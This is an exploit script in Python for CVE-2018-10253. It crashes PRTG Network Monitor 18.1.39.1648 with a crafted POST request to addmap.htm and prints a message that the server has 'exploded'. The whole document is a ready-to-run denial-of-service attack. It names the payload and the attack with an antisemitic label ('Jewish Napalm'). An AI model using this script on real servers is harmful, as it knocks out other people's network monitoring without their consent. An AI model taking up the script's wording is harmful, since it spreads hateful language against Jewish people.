1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
# Exploit Title: PRTG 18.1.39.1648 - Stack Overflow # Date: 2018-04-21 # Exploit Author: Lucas "luriel" Carmo # Vendor Homepage: https://www.paessler.com/prtg # Software Link: https://www.paessler.com/download/prtg-download # Version: 18.1.39.1648 # CVE : CVE-2018-10253 # Post Reference: https://medium.com/stolabs/stack-overflow-jewish-napalm-on-prtg-network-monitoring-56609b0804c5 # http://www.roothc.com.br/stack-overflow-prtg-network-monitoring-jewish-napalm/ #!/usr/bin/python import requests import sys import os import re import socket green = "\033[1;32m" yellow = '\033[1;33m' normal = '\033[0;0m' banner = """ ██╗███████╗██╗██╗██╗███████╗██╗██╗███╗ ██╗ █████╗ ██████╗█████╗ ██╗ ███╗ ███╗ ██║██╔════╝██║██║██║██╔════╝██║██║████╗██║██╔══██╗██╔══██╗██╔══██╗██║ ████╗ ████║ ██║█████╗██║ █╗ ██║██║███████╗███████║██╔██╗ ██║███████║██████╔╝███████║██║ ██╔████╔██║ ██ ██║██╔══╝██║███╗██║██║╚════██║██╔══██║██║╚██╗██║██╔══██║██╔═══╝ ██╔══██║██║ ██║╚██╔╝██║ ╚█████╔╝███████╗╚███╔███╔╝██║███████║██║██║██║ ╚████║██║██║██║ ██║██║███████╗██║ ╚═╝ ██║ ╚════╝ ╚══════╝ ╚══╝╚══╝ ╚═╝╚══════╝╚═╝╚═╝╚═╝╚═══╝╚═╝╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝ """ banner2 = """ Author: @Lucas "luriel" Carmo """ os.system('clear') print(green+banner) print(yellow+banner2) print(normal) def check_http(url): pattern = re.compile("http://") return re.search(pattern, url) def sanitize_url(url): if(not check_http(url)): return "http://" + url return url def check_server(url): r = requests.get(url, timeout=4) code = r.status_code def send_jewish_payload(url): payload = {'file':'addmap.htm'} r = requests.post(url, params=payload) def main(): try: if len(sys.argv) <= 3 and len (sys.argv) >= 2: try: url = sanitize_url(sys.argv[1]) print(' [#] LOADING!') if (check_server(url) != 404): send_jewish_payload(url) else: print(' [!] Server shutdown or not found') except requests.exceptions.ConnectionError: print(' [~] BOOOOOM! PRTG Server has been exploded!') except requests.exceptions.InvalidURL: print(' [!] Invalid URL') except requests.exceptions.Timeout: print(' [!] Connection Timeout\n') else: print('Example usage: ./'+sys.argv[0]+' http://192.168.0.10/index.htm') except KeyboardInterrupt: print(' [!] Jewish Napalm Canceled;.....[./]') if __name__ == '__main__': main() |